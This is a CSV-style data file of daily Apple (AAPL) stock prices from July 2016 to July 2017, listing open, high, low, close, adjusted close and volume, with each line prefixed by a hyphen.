-2016-07-01,95.48999786376953,96.47000122070312,95.33000183105469,95.88999938964844,90.64131927490234,26026500.0,AAPL
-2016-07-05,95.38999938964844,95.4000015258789,94.45999908447266,94.98999786376953,89.79057312011719,27705200.0,AAPL
-2016-07-06,94.5999984741211,95.66000366210938,94.37000274658203,95.52999877929688,90.30101776123047,30949100.0,AAPL
-2016-07-07,95.69999694824219,96.5,95.62000274658203,95.94000244140625,90.68858337402344,25139600.0,AAPL
-2016-07-08,96.48999786376953,96.88999938964844,96.05000305175781,96.68000030517578,91.3880844116211,28912100.0,AAPL
-2016-07-11,96.75,97.6500015258789,96.7300033569336,96.9800033569336,91.6716537475586,23794900.0,AAPL
-2016-07-12,97.16999816894531,97.69999694824219,97.12000274658203,97.41999816894531,92.08757781982422,24167500.0,AAPL
-2016-07-13,97.41000366210938,97.66999816894531,96.83999633789062,96.87000274658203,91.56768035888672,25892200.0,AAPL
-2016-07-14,97.38999938964844,98.98999786376953,97.31999969482422,98.79000091552734,93.38257598876953,38919000.0,AAPL
-2016-07-15,98.91999816894531,99.30000305175781,98.5,98.77999877929688,93.37313842773438,30137000.0,AAPL
-2016-07-18,98.69999694824219,100.12999725341797,98.5999984741211,99.83000183105469,94.36565399169922,36493900.0,AAPL
-2016-07-19,99.55999755859375,100.0,99.33999633789062,99.87000274658203,94.40347290039062,23779900.0,AAPL
-2016-07-20,100.0,100.45999908447266,99.73999786376953,99.95999908447266,94.48855590820312,26276000.0,AAPL
-2016-07-21,99.83000183105469,101.0,99.12999725341797,99.43000030517578,93.98755645751953,32702000.0,AAPL
-2016-07-22,99.26000213623047,99.30000305175781,98.30999755859375,98.66000366210938,93.25970458984375,28313700.0,AAPL
-2016-07-25,98.25,98.83999633789062,96.91999816894531,97.33999633789062,92.0119400024414,40382900.0,AAPL
-2016-07-26,96.81999969482422,97.97000122070312,96.41999816894531,96.66999816894531,91.37862396240234,56239800.0,AAPL
-2016-07-27,104.2699966430664,104.3499984741211,102.75,102.94999694824219,97.31486511230469,92344800.0,AAPL
-2016-07-28,102.83000183105469,104.44999694824219,102.81999969482422,104.33999633789062,98.62876892089844,39869800.0,AAPL
-2016-07-29,104.19000244140625,104.55000305175781,103.68000030517578,104.20999908447266,98.50592041015625,27733700.0,AAPL
-2016-08-01,104.41000366210938,106.1500015258789,104.41000366210938,106.05000305175781,100.24519348144531,38167900.0,AAPL
-2016-08-02,106.05000305175781,106.06999969482422,104.0,104.4800033569336,98.76113891601562,33816600.0,AAPL
-2016-08-03,104.80999755859375,105.83999633789062,104.7699966430664,105.79000091552734,99.99942779541016,30202600.0,AAPL
-2016-08-04,105.58000183105469,106.0,105.27999877929688,105.87000274658203,100.6171875,27408700.0,AAPL
-2016-08-05,106.2699966430664,107.6500015258789,106.18000030517578,107.4800033569336,102.14730072021484,40553400.0,AAPL
-2016-08-08,107.5199966430664,108.37000274658203,107.16000366210938,108.37000274658203,102.99313354492188,28037200.0,AAPL
-2016-08-09,108.2300033569336,108.94000244140625,108.01000213623047,108.80999755859375,103.41129302978516,26315200.0,AAPL
-2016-08-10,108.70999908447266,108.9000015258789,107.76000213623047,108.0,102.64149475097656,24008500.0,AAPL
-2016-08-11,108.5199966430664,108.93000030517578,107.8499984741211,107.93000030517578,102.57495880126953,27484500.0,AAPL
-2016-08-12,107.77999877929688,108.44000244140625,107.77999877929688,108.18000030517578,102.81255340576172,18660400.0,AAPL
-2016-08-15,108.13999938964844,109.54000091552734,108.08000183105469,109.4800033569336,104.0480728149414,25868200.0,AAPL
-2016-08-16,109.62999725341797,110.2300033569336,109.20999908447266,109.37999725341797,103.9530258178711,33794400.0,AAPL
-2016-08-17,109.0999984741211,109.37000274658203,108.33999633789062,109.22000122070312,103.80094909667969,25356000.0,AAPL
-2016-08-18,109.2300033569336,109.5999984741211,109.0199966430664,109.08000183105469,103.66790771484375,21984700.0,AAPL
-2016-08-19,108.7699966430664,109.69000244140625,108.36000061035156,109.36000061035156,103.93401336669922,25368100.0,AAPL
-2016-08-22,108.86000061035156,109.0999984741211,107.8499984741211,108.51000213623047,103.1261978149414,25820200.0,AAPL
-2016-08-23,108.58999633789062,109.31999969482422,108.52999877929688,108.8499984741211,103.4493179321289,21257700.0,AAPL
-2016-08-24,108.56999969482422,108.75,107.68000030517578,108.02999877929688,102.67000579833984,23675100.0,AAPL
-2016-08-25,107.38999938964844,107.87999725341797,106.68000030517578,107.56999969482422,102.23284149169922,25086200.0,AAPL
-2016-08-26,107.41000366210938,107.94999694824219,106.30999755859375,106.94000244140625,101.63407897949219,27766300.0,AAPL
-2016-08-29,106.62000274658203,107.44000244140625,106.29000091552734,106.81999969482422,101.52003479003906,24970300.0,AAPL
-2016-08-30,105.80000305175781,106.5,105.5,106.0,100.74073791503906,24863900.0,AAPL
-2016-08-31,105.66000366210938,106.56999969482422,105.63999938964844,106.0999984741211,100.83576202392578,29662400.0,AAPL
-2016-09-01,106.13999938964844,106.80000305175781,105.62000274658203,106.7300033569336,101.43450927734375,26701500.0,AAPL
-2016-09-02,107.69999694824219,108.0,106.81999969482422,107.7300033569336,102.38489532470703,26802500.0,AAPL
-2016-09-06,107.9000015258789,108.30000305175781,107.51000213623047,107.69999694824219,102.35636901855469,26880400.0,AAPL
-2016-09-07,107.83000183105469,108.76000213623047,107.06999969482422,108.36000061035156,102.98362731933594,42364300.0,AAPL
-2016-09-08,107.25,107.2699966430664,105.23999786376953,105.5199966430664,100.28453063964844,53002000.0,AAPL
-2016-09-09,104.63999938964844,105.72000122070312,103.12999725341797,103.12999725341797,98.01311492919922,46557000.0,AAPL
-2016-09-12,102.6500015258789,105.72000122070312,102.52999877929688,105.44000244140625,100.2085189819336,45292800.0,AAPL
-2016-09-13,107.51000213623047,108.79000091552734,107.23999786376953,107.94999694824219,102.59396362304688,62176200.0,AAPL
-2016-09-14,108.7300033569336,113.02999877929688,108.5999984741211,111.7699966430664,106.22444915771484,110888700.0,AAPL
-2016-09-15,113.86000061035156,115.7300033569336,113.48999786376953,115.56999969482422,109.83589935302734,89983600.0,AAPL
-2016-09-16,115.12000274658203,116.12999725341797,114.04000091552734,114.91999816894531,109.21815490722656,79886900.0,AAPL
-2016-09-19,115.19000244140625,116.18000030517578,113.25,113.58000183105469,107.94464111328125,47023000.0,AAPL
-2016-09-20,113.05000305175781,114.12000274658203,112.51000213623047,113.56999969482422,107.93512725830078,34514300.0,AAPL
-2016-09-21,113.8499984741211,113.98999786376953,112.44000244140625,113.55000305175781,107.9161148071289,36003200.0,AAPL
-2016-09-22,114.3499984741211,114.94000244140625,114.0,114.62000274658203,108.93304443359375,31074000.0,AAPL
-2016-09-23,114.41999816894531,114.79000091552734,111.55000305175781,112.70999908447266,107.11780548095703,52481200.0,AAPL
-2016-09-26,111.63999938964844,113.38999938964844,111.55000305175781,112.87999725341797,107.27936553955078,29869400.0,AAPL
-2016-09-27,113.0,113.18000030517578,112.33999633789062,113.08999633789062,107.47894287109375,24607400.0,AAPL
-2016-09-28,113.69000244140625,114.63999938964844,113.43000030517578,113.94999694824219,108.29627990722656,29641100.0,AAPL
-2016-09-29,113.16000366210938,113.80000305175781,111.80000305175781,112.18000030517578,106.6141128540039,35887000.0,AAPL
-2016-09-30,112.45999908447266,113.37000274658203,111.80000305175781,113.05000305175781,107.44093322753906,36379100.0,AAPL
-2016-10-03,112.70999908447266,113.05000305175781,112.27999877929688,112.5199966430664,106.93721008300781,21701800.0,AAPL
-2016-10-04,113.05999755859375,114.30999755859375,112.62999725341797,113.0,107.3934097290039,29736800.0,AAPL
-2016-10-05,113.4000015258789,113.66000366210938,112.69000244140625,113.05000305175781,107.44093322753906,21453100.0,AAPL
-2016-10-06,113.69999694824219,114.33999633789062,113.12999725341797,113.88999938964844,108.23925018310547,28779300.0,AAPL
-2016-10-07,114.30999755859375,114.55999755859375,113.51000213623047,114.05999755859375,108.40081787109375,24358400.0,AAPL
-2016-10-10,115.0199966430664,116.75,114.72000122070312,116.05000305175781,110.29208374023438,36236000.0,AAPL
-2016-10-11,117.69999694824219,118.69000244140625,116.19999694824219,116.30000305175781,110.52969360351562,64041000.0,AAPL
-2016-10-12,117.3499984741211,117.9800033569336,116.75,117.33999633789062,111.51807403564453,37586800.0,AAPL
-2016-10-13,116.79000091552734,117.44000244140625,115.72000122070312,116.9800033569336,111.17594146728516,35192400.0,AAPL
-2016-10-14,117.87999725341797,118.16999816894531,117.12999725341797,117.62999725341797,111.79368591308594,35652200.0,AAPL
-2016-10-17,117.33000183105469,117.83999633789062,116.77999877929688,117.55000305175781,111.71765899658203,23624900.0,AAPL
-2016-10-18,118.18000030517578,118.20999908447266,117.44999694824219,117.47000122070312,111.64163208007812,24553500.0,AAPL
-2016-10-19,117.25,117.76000213623047,113.80000305175781,117.12000274658203,111.30900573730469,20034600.0,AAPL
-2016-10-20,116.86000061035156,117.37999725341797,116.33000183105469,117.05999755859375,111.25196838378906,24125800.0,AAPL
-2016-10-21,116.80999755859375,116.91000366210938,116.27999877929688,116.5999984741211,110.81480407714844,23192700.0,AAPL
-2016-10-24,117.0999984741211,117.73999786376953,117.0,117.6500015258789,111.81271362304688,23538700.0,AAPL
-2016-10-25,117.94999694824219,118.36000061035156,117.30999755859375,118.25,112.38291931152344,48129000.0,AAPL
-2016-10-26,114.30999755859375,115.69999694824219,113.30999755859375,115.58999633789062,109.85490417480469,66134200.0,AAPL
-2016-10-27,115.38999938964844,115.86000061035156,114.0999984741211,114.4800033569336,108.79998016357422,34562000.0,AAPL
-2016-10-28,113.87000274658203,115.20999908447266,113.44999694824219,113.72000122070312,108.07769775390625,37861700.0,AAPL
-2016-10-31,113.6500015258789,114.2300033569336,113.19999694824219,113.54000091552734,107.90660858154297,26419400.0,AAPL
-2016-11-01,113.45999908447266,113.7699966430664,110.52999877929688,111.48999786376953,105.95832824707031,43825800.0,AAPL
-2016-11-02,111.4000015258789,112.3499984741211,111.2300033569336,111.58999633789062,106.05335998535156,28331700.0,AAPL
-2016-11-03,110.9800033569336,111.45999908447266,109.55000305175781,109.83000183105469,104.9166259765625,26932600.0,AAPL
-2016-11-04,108.52999877929688,110.25,108.11000061035156,108.83999633789062,103.97088623046875,30837000.0,AAPL
-2016-11-07,110.08000183105469,110.51000213623047,109.45999908447266,110.41000366210938,105.47066497802734,32560000.0,AAPL
-2016-11-08,110.30999755859375,111.72000122070312,109.69999694824219,111.05999755859375,106.09158325195312,24254200.0,AAPL
-2016-11-09,109.87999725341797,111.31999969482422,108.05000305175781,110.87999725341797,105.91963958740234,59176400.0,AAPL
-2016-11-10,111.08999633789062,111.08999633789062,105.83000183105469,107.79000091552734,102.96788024902344,57134500.0,AAPL
-2016-11-11,107.12000274658203,108.87000274658203,106.55000305175781,108.43000030517578,103.57925415039062,34143900.0,AAPL
-2016-11-14,107.70999908447266,107.80999755859375,104.08000183105469,105.70999908447266,100.98091888427734,51175500.0,AAPL
-2016-11-15,106.56999969482422,107.68000030517578,106.16000366210938,107.11000061035156,102.31829071044922,32264500.0,AAPL
-2016-11-16,106.69999694824219,110.2300033569336,106.5999984741211,109.98999786376953,105.06945037841797,58840500.0,AAPL
-2016-11-17,109.80999755859375,110.3499984741211,108.83000183105469,109.94999694824219,105.0312271118164,27632000.0,AAPL
-2016-11-18,109.72000122070312,110.54000091552734,109.66000366210938,110.05999755859375,105.13632202148438,28428900.0,AAPL
-2016-11-21,110.12000274658203,111.98999786376953,110.01000213623047,111.7300033569336,106.73160552978516,29264600.0,AAPL
-2016-11-22,111.94999694824219,112.41999816894531,111.4000015258789,111.80000305175781,106.79847717285156,25965500.0,AAPL
-2016-11-23,111.36000061035156,111.51000213623047,110.33000183105469,111.2300033569336,106.25397491455078,27426400.0,AAPL
-2016-11-25,111.12999725341797,111.87000274658203,110.94999694824219,111.79000091552734,106.78893280029297,11475900.0,AAPL
-2016-11-28,111.43000030517578,112.47000122070312,111.38999938964844,111.56999969482422,106.57876586914062,27194000.0,AAPL
-2016-11-29,110.77999877929688,112.02999877929688,110.06999969482422,111.45999908447266,106.47370147705078,28528800.0,AAPL
-2016-11-30,111.5999984741211,112.19999694824219,110.2699966430664,110.5199966430664,105.57573699951172,36162300.0,AAPL
-2016-12-01,110.37000274658203,110.94000244140625,109.02999877929688,109.48999786376953,104.59181213378906,37086900.0,AAPL
-2016-12-02,109.16999816894531,110.08999633789062,108.8499984741211,109.9000015258789,104.98347473144531,26528000.0,AAPL
-2016-12-05,110.0,110.02999877929688,108.25,109.11000061035156,104.22882080078125,34324500.0,AAPL
-2016-12-06,109.5,110.36000061035156,109.19000244140625,109.94999694824219,105.0312271118164,26195500.0,AAPL
-2016-12-07,109.26000213623047,111.19000244140625,109.16000366210938,111.02999877929688,106.06292724609375,29998700.0,AAPL
-2016-12-08,110.86000061035156,112.43000030517578,110.5999984741211,112.12000274658203,107.10417175292969,27068300.0,AAPL
-2016-12-09,112.30999755859375,114.69999694824219,112.30999755859375,113.94999694824219,108.852294921875,34402600.0,AAPL
-2016-12-12,113.29000091552734,115.0,112.48999786376953,113.30000305175781,108.23138427734375,26374400.0,AAPL
-2016-12-13,113.83999633789062,115.91999816894531,113.75,115.19000244140625,110.03682708740234,43733800.0,AAPL
-2016-12-14,115.04000091552734,116.19999694824219,114.9800033569336,115.19000244140625,110.03682708740234,34031800.0,AAPL
-2016-12-15,115.37999725341797,116.7300033569336,115.2300033569336,115.81999969482422,110.63862609863281,46524500.0,AAPL
-2016-12-16,116.47000122070312,116.5,115.6500015258789,115.97000122070312,110.78192901611328,44351100.0,AAPL
-2016-12-19,115.80000305175781,117.37999725341797,115.75,116.63999938964844,111.42194366455078,27779400.0,AAPL
-2016-12-20,116.73999786376953,117.5,116.68000030517578,116.94999694824219,111.71808624267578,21425000.0,AAPL
-2016-12-21,116.80000305175781,117.4000015258789,116.77999877929688,117.05999755859375,111.82317352294922,23783200.0,AAPL
-2016-12-22,116.3499984741211,116.51000213623047,115.63999938964844,116.29000091552734,111.08760833740234,26085900.0,AAPL
-2016-12-23,115.58999633789062,116.5199966430664,115.58999633789062,116.5199966430664,111.30731964111328,14249500.0,AAPL
-2016-12-27,116.5199966430664,117.80000305175781,116.48999786376953,117.26000213623047,112.01421356201172,18296900.0,AAPL
-2016-12-28,117.5199966430664,118.0199966430664,116.19999694824219,116.76000213623047,111.5365982055664,20905900.0,AAPL
-2016-12-29,116.44999694824219,117.11000061035156,116.4000015258789,116.7300033569336,111.50792694091797,15039500.0,AAPL
-2016-12-30,116.6500015258789,117.19999694824219,115.43000030517578,115.81999969482422,110.63862609863281,30586300.0,AAPL
-2017-01-03,115.80000305175781,116.33000183105469,114.76000213623047,116.1500015258789,110.95387268066406,28781900.0,AAPL
-2017-01-04,115.8499984741211,116.51000213623047,115.75,116.0199966430664,110.82970428466797,21118100.0,AAPL
-2017-01-05,115.91999816894531,116.86000061035156,115.80999755859375,116.61000061035156,111.39330291748047,22193600.0,AAPL
-2017-01-06,116.77999877929688,118.16000366210938,116.47000122070312,117.91000366210938,112.63513946533203,31751900.0,AAPL
-2017-01-09,117.94999694824219,119.43000030517578,117.94000244140625,118.98999786376953,113.66682434082031,33561900.0,AAPL
-2017-01-10,118.7699966430664,119.37999725341797,118.30000305175781,119.11000061035156,113.78146362304688,24462100.0,AAPL
-2017-01-11,118.73999786376953,119.93000030517578,118.5999984741211,119.75,114.392822265625,27588600.0,AAPL
-2017-01-12,118.9000015258789,119.30000305175781,118.20999908447266,119.25,113.9151840209961,27086200.0,AAPL
-2017-01-13,119.11000061035156,119.62000274658203,118.80999755859375,119.04000091552734,113.71458435058594,26111900.0,AAPL
-2017-01-17,118.33999633789062,120.23999786376953,118.22000122070312,120.0,114.63165283203125,34439800.0,AAPL
-2017-01-18,120.0,120.5,119.70999908447266,119.98999786376953,114.62208557128906,23713000.0,AAPL
-2017-01-19,119.4000015258789,120.08999633789062,119.37000274658203,119.77999877929688,114.4214859008789,25597300.0,AAPL
-2017-01-20,120.44999694824219,120.44999694824219,119.7300033569336,120.0,114.63165283203125,32597900.0,AAPL
-2017-01-23,120.0,120.80999755859375,119.7699966430664,120.08000183105469,114.70806121826172,22050200.0,AAPL
-2017-01-24,119.55000305175781,120.0999984741211,119.5,119.97000122070312,114.60298156738281,23211000.0,AAPL
-2017-01-25,120.41999816894531,122.0999984741211,120.27999877929688,121.87999725341797,116.42753601074219,32377600.0,AAPL
-2017-01-26,121.66999816894531,122.44000244140625,121.5999984741211,121.94000244140625,116.48485565185547,26337600.0,AAPL
-2017-01-27,122.13999938964844,122.3499984741211,121.5999984741211,121.94999694824219,116.49441528320312,20562900.0,AAPL
-2017-01-30,120.93000030517578,121.62999725341797,120.66000366210938,121.62999725341797,116.18870544433594,30377500.0,AAPL
-2017-01-31,121.1500015258789,121.38999938964844,120.62000274658203,121.3499984741211,115.92122650146484,49201000.0,AAPL
-2017-02-01,127.02999877929688,130.49000549316406,127.01000213623047,128.75,122.99018859863281,111985000.0,AAPL
-2017-02-02,127.9800033569336,129.38999938964844,127.77999877929688,128.52999877929688,122.78004455566406,33710400.0,AAPL
-2017-02-03,128.30999755859375,129.19000244140625,128.16000366210938,129.0800018310547,123.30543518066406,24507300.0,AAPL
-2017-02-06,129.1300048828125,130.5,128.89999389648438,130.2899932861328,124.46131134033203,26845900.0,AAPL
-2017-02-07,130.5399932861328,132.08999633789062,130.4499969482422,131.52999877929688,125.64580535888672,38183800.0,AAPL
-2017-02-08,131.35000610351562,132.22000122070312,131.22000122070312,132.0399932861328,126.13301849365234,23004100.0,AAPL
-2017-02-09,131.64999389648438,132.4499969482422,131.1199951171875,132.4199981689453,127.04444885253906,28349900.0,AAPL
-2017-02-10,132.4600067138672,132.94000244140625,132.0500030517578,132.1199951171875,126.7566146850586,20065500.0,AAPL
-2017-02-13,133.0800018310547,133.82000732421875,132.75,133.2899932861328,127.87910461425781,23035400.0,AAPL
-2017-02-14,133.47000122070312,135.08999633789062,133.25,135.02000427246094,129.53890991210938,33226200.0,AAPL
-2017-02-15,135.52000427246094,136.27000427246094,134.6199951171875,135.50999450683594,130.00901794433594,35623100.0,AAPL
-2017-02-16,135.6699981689453,135.89999389648438,134.83999633789062,135.35000610351562,129.85549926757812,22584600.0,AAPL
-2017-02-17,135.10000610351562,135.8300018310547,135.10000610351562,135.72000122070312,130.2105255126953,22198200.0,AAPL
-2017-02-21,136.22999572753906,136.75,135.97999572753906,136.6999969482422,131.15072631835938,24507200.0,AAPL
-2017-02-22,136.42999267578125,137.1199951171875,136.11000061035156,137.11000061035156,131.54405212402344,20836900.0,AAPL
-2017-02-23,137.3800048828125,137.47999572753906,136.3000030517578,136.52999877929688,130.98760986328125,20788200.0,AAPL
-2017-02-24,135.91000366210938,136.66000366210938,135.27999877929688,136.66000366210938,131.1123504638672,21776600.0,AAPL
-2017-02-27,137.13999938964844,137.44000244140625,136.27999877929688,136.92999267578125,131.37136840820312,20257400.0,AAPL
-2017-02-28,137.0800018310547,137.44000244140625,136.6999969482422,136.99000549316406,131.428955078125,23482900.0,AAPL
-2017-03-01,137.88999938964844,140.14999389648438,137.60000610351562,139.7899932861328,134.1152801513672,36414600.0,AAPL
-2017-03-02,140.0,140.27999877929688,138.75999450683594,138.9600067138672,133.31893920898438,26211000.0,AAPL
-2017-03-03,138.77999877929688,139.8300018310547,138.58999633789062,139.77999877929688,134.10565185546875,21108100.0,AAPL
-2017-03-06,139.3699951171875,139.77000427246094,138.60000610351562,139.33999633789062,133.6835174560547,21750000.0,AAPL
-2017-03-07,139.05999755859375,139.97999572753906,138.7899932861328,139.52000427246094,133.85623168945312,17446300.0,AAPL
-2017-03-08,138.9499969482422,139.8000030517578,138.82000732421875,139.0,133.35731506347656,18707200.0,AAPL
-2017-03-09,138.74000549316406,138.7899932861328,137.0500030517578,138.67999267578125,133.05032348632812,22155900.0,AAPL
-2017-03-10,139.25,139.36000061035156,138.63999938964844,139.13999938964844,133.49166870117188,19612800.0,AAPL
-2017-03-13,138.85000610351562,139.42999267578125,138.82000732421875,139.1999969482422,133.5491943359375,17421700.0,AAPL
-2017-03-14,139.3000030517578,139.64999389648438,138.83999633789062,138.99000549316406,133.34776306152344,15309100.0,AAPL
-2017-03-15,139.41000366210938,140.75,139.02999877929688,140.4600067138672,134.75808715820312,25691800.0,AAPL
-2017-03-16,140.72000122070312,141.02000427246094,140.25999450683594,140.69000244140625,134.9787139892578,19232000.0,AAPL
-2017-03-17,141.0,141.0,139.88999938964844,139.99000549316406,134.30715942382812,43885000.0,AAPL
-2017-03-20,140.39999389648438,141.5,140.22999572753906,141.4600067138672,135.7174835205078,21542000.0,AAPL
-2017-03-21,142.11000061035156,142.8000030517578,139.72999572753906,139.83999633789062,134.16322326660156,39529900.0,AAPL
-2017-03-22,139.85000610351562,141.60000610351562,139.75999450683594,141.4199981689453,135.67909240722656,25860200.0,AAPL
-2017-03-23,141.25999450683594,141.5800018310547,140.61000061035156,140.9199981689453,135.19937133789062,20346300.0,AAPL
-2017-03-24,141.5,141.74000549316406,140.35000610351562,140.63999938964844,134.93075561523438,22395600.0,AAPL
-2017-03-27,139.38999938964844,141.22000122070312,138.6199951171875,140.8800048828125,135.16102600097656,23575100.0,AAPL
-2017-03-28,140.91000366210938,144.0399932861328,140.6199951171875,143.8000030517578,137.9624786376953,33374800.0,AAPL
-2017-03-29,143.67999267578125,144.49000549316406,143.19000244140625,144.1199951171875,138.2694854736328,29190000.0,AAPL
-2017-03-30,144.19000244140625,144.5,143.5,143.92999267578125,138.08718872070312,21207300.0,AAPL
-2017-03-31,143.72000122070312,144.27000427246094,143.00999450683594,143.66000366210938,137.8281707763672,19661700.0,AAPL
-2017-04-03,143.7100067138672,144.1199951171875,143.0500030517578,143.6999969482422,137.86654663085938,19985700.0,AAPL
-2017-04-04,143.25,144.88999938964844,143.1699981689453,144.77000427246094,138.89312744140625,19891400.0,AAPL
-2017-04-05,144.22000122070312,145.4600067138672,143.80999755859375,144.02000427246094,138.17355346679688,27717900.0,AAPL
-2017-04-06,144.2899932861328,144.52000427246094,143.4499969482422,143.66000366210938,137.8281707763672,21149000.0,AAPL
-2017-04-07,143.72999572753906,144.17999267578125,143.27000427246094,143.33999633789062,137.52114868164062,16672200.0,AAPL
-2017-04-10,143.60000610351562,143.8800048828125,142.89999389648438,143.1699981689453,137.35806274414062,18933400.0,AAPL
-2017-04-11,142.94000244140625,143.35000610351562,140.05999755859375,141.6300048828125,135.88058471679688,30379400.0,AAPL
-2017-04-12,141.60000610351562,142.14999389648438,141.00999450683594,141.8000030517578,136.0436553955078,20350000.0,AAPL
-2017-04-13,141.91000366210938,142.3800048828125,141.0500030517578,141.0500030517578,135.32415771484375,17822900.0,AAPL
-2017-04-17,141.47999572753906,141.8800048828125,140.8699951171875,141.8300018310547,136.07244873046875,16582100.0,AAPL
-2017-04-18,141.41000366210938,142.0399932861328,141.11000061035156,141.1999969482422,135.46803283691406,14697500.0,AAPL
-2017-04-19,141.8800048828125,142.0,140.4499969482422,140.67999267578125,134.9691162109375,17328400.0,AAPL
-2017-04-20,141.22000122070312,142.9199981689453,141.16000366210938,142.44000244140625,136.65771484375,23319600.0,AAPL
-2017-04-21,142.44000244140625,142.67999267578125,141.85000610351562,142.27000427246094,136.49459838867188,17320900.0,AAPL
-2017-04-24,143.5,143.9499969482422,143.17999267578125,143.63999938964844,137.8090057373047,17134300.0,AAPL
-2017-04-25,143.91000366210938,144.89999389648438,143.8699951171875,144.52999877929688,138.66285705566406,18871500.0,AAPL
-2017-04-26,144.47000122070312,144.60000610351562,143.3800048828125,143.67999267578125,137.84735107421875,20041200.0,AAPL
-2017-04-27,143.9199981689453,144.16000366210938,143.30999755859375,143.7899932861328,137.95286560058594,14246300.0,AAPL
-2017-04-28,144.08999633789062,144.3000030517578,143.27000427246094,143.64999389648438,137.8185577392578,20860400.0,AAPL
-2017-05-01,145.10000610351562,147.1999969482422,144.9600067138672,146.5800018310547,140.629638671875,33602900.0,AAPL
-2017-05-02,147.5399932861328,148.08999633789062,146.83999633789062,147.50999450683594,141.5218963623047,45352200.0,AAPL
-2017-05-03,145.58999633789062,147.49000549316406,144.27000427246094,147.05999755859375,141.09014892578125,45697000.0,AAPL
-2017-05-04,146.52000427246094,147.13999938964844,145.80999755859375,146.52999877929688,140.58164978027344,23371900.0,AAPL
-2017-05-05,146.75999450683594,148.97999572753906,146.75999450683594,148.9600067138672,142.9130096435547,27327700.0,AAPL
-2017-05-08,149.02999877929688,153.6999969482422,149.02999877929688,153.00999450683594,146.79861450195312,48752400.0,AAPL
-2017-05-09,153.8699951171875,154.8800048828125,153.4499969482422,153.99000549316406,147.73880004882812,39130400.0,AAPL
-2017-05-10,153.6300048828125,153.94000244140625,152.11000061035156,153.25999450683594,147.03846740722656,25805700.0,AAPL
-2017-05-11,152.4499969482422,154.07000732421875,152.30999755859375,153.9499969482422,148.31008911132812,27255100.0,AAPL
-2017-05-12,154.6999969482422,156.4199981689453,154.6699981689453,156.10000610351562,150.38131713867188,32527000.0,AAPL
-2017-05-15,156.00999450683594,156.64999389648438,155.0500030517578,155.6999969482422,149.99598693847656,26009700.0,AAPL
-2017-05-16,155.94000244140625,156.05999755859375,154.72000122070312,155.47000122070312,149.7744140625,20048500.0,AAPL
-2017-05-17,153.60000610351562,154.57000732421875,149.7100067138672,150.25,144.74563598632812,50767700.0,AAPL
-2017-05-18,151.27000427246094,153.33999633789062,151.1300048828125,152.5399932861328,146.9517364501953,33568200.0,AAPL
-2017-05-19,153.3800048828125,153.97999572753906,152.6300048828125,153.05999755859375,147.4526824951172,26960800.0,AAPL
-2017-05-22,154.0,154.5800018310547,152.91000366210938,153.99000549316406,148.34864807128906,22966400.0,AAPL
-2017-05-23,154.89999389648438,154.89999389648438,153.30999755859375,153.8000030517578,148.1655731201172,19918900.0,AAPL
-2017-05-24,153.83999633789062,154.1699981689453,152.6699981689453,153.33999633789062,147.72244262695312,19178000.0,AAPL
-2017-05-25,153.72999572753906,154.35000610351562,153.02999877929688,153.8699951171875,148.2329864501953,19235600.0,AAPL
-2017-05-26,154.0,154.24000549316406,153.30999755859375,153.61000061035156,147.98255920410156,21927600.0,AAPL
-2017-05-30,153.4199981689453,154.42999267578125,153.3300018310547,153.6699981689453,148.0403594970703,20126900.0,AAPL
-2017-05-31,153.97000122070312,154.1699981689453,152.3800048828125,152.75999450683594,147.16368103027344,24451200.0,AAPL
-2017-06-01,153.1699981689453,153.3300018310547,152.22000122070312,153.17999267578125,147.56829833984375,16404100.0,AAPL
-2017-06-02,153.5800018310547,155.4499969482422,152.88999938964844,155.4499969482422,149.75515747070312,27770700.0,AAPL
-2017-06-05,154.33999633789062,154.4499969482422,153.4600067138672,153.92999267578125,148.2908172607422,25331700.0,AAPL
-2017-06-06,153.89999389648438,155.80999755859375,153.77999877929688,154.4499969482422,148.79177856445312,26624900.0,AAPL
-2017-06-07,155.02000427246094,155.97999572753906,154.47999572753906,155.3699951171875,149.67807006835938,21069600.0,AAPL
-2017-06-08,155.25,155.5399932861328,154.39999389648438,154.99000549316406,149.31199645996094,21250800.0,AAPL
-2017-06-09,155.19000244140625,155.19000244140625,146.02000427246094,148.97999572753906,143.5221405029297,64882700.0,AAPL
-2017-06-12,145.74000549316406,146.08999633789062,142.50999450683594,145.4199981689453,140.09259033203125,72307300.0,AAPL
-2017-06-13,147.16000366210938,147.4499969482422,145.14999389648438,146.58999633789062,141.21974182128906,34165400.0,AAPL
-2017-06-14,147.5,147.5,143.83999633789062,145.16000366210938,139.84213256835938,31531200.0,AAPL
-2017-06-15,143.32000732421875,144.47999572753906,142.2100067138672,144.2899932861328,139.0039520263672,32165400.0,AAPL
-2017-06-16,143.77999877929688,144.5,142.1999969482422,142.27000427246094,137.0579833984375,50361100.0,AAPL
-2017-06-19,143.66000366210938,146.74000549316406,143.66000366210938,146.33999633789062,140.9788818359375,32541400.0,AAPL
-2017-06-20,146.8699951171875,146.8699951171875,144.94000244140625,145.00999450683594,139.69760131835938,24900100.0,AAPL
-2017-06-21,145.52000427246094,146.07000732421875,144.61000061035156,145.8699951171875,140.52609252929688,21265800.0,AAPL
-2017-06-22,145.77000427246094,146.6999969482422,145.1199951171875,145.6300048828125,140.294921875,19106300.0,AAPL
-2017-06-23,145.1300048828125,147.16000366210938,145.11000061035156,146.27999877929688,140.92108154296875,35439400.0,AAPL
-2017-06-26,147.1699981689453,148.27999877929688,145.3800048828125,145.82000732421875,140.4779510498047,25692400.0,AAPL
-2017-06-27,145.00999450683594,146.16000366210938,143.6199951171875,143.72999572753906,138.46449279785156,24761900.0,AAPL
-2017-06-28,144.49000549316406,146.11000061035156,143.16000366210938,145.8300018310547,140.48757934570312,22082400.0,AAPL
-2017-06-29,144.7100067138672,145.1300048828125,142.27999877929688,143.67999267578125,138.41632080078125,31499400.0,AAPL
-2017-06-30,144.4499969482422,144.9600067138672,143.77999877929688,144.02000427246094,138.743896484375,23024100.0,AAPL
-2017-07-03,144.8800048828125,145.3000030517578,143.10000610351562,143.5,138.24290466308594,14277800.0,AAPL
-2017-07-05,143.69000244140625,144.7899932861328,142.72000122070312,144.08999633789062,138.81130981445312,21569600.0,AAPL
-2017-07-06,143.02000427246094,143.5,142.41000366210938,142.72999572753906,137.5011444091797,24128800.0,AAPL
-2017-07-07,142.89999389648438,144.75,142.89999389648438,144.17999267578125,138.89801025390625,19201700.0,AAPL
-2017-07-10,144.11000061035156,145.9499969482422,143.3699951171875,145.05999755859375,139.74575805664062,21090600.0,AAPL
-2017-07-11,144.72999572753906,145.85000610351562,144.3800048828125,145.52999877929688,140.19854736328125,19781800.0,AAPL
-2017-07-12,145.8699951171875,146.17999267578125,144.82000732421875,145.74000549316406,140.40086364746094,24884500.0,AAPL
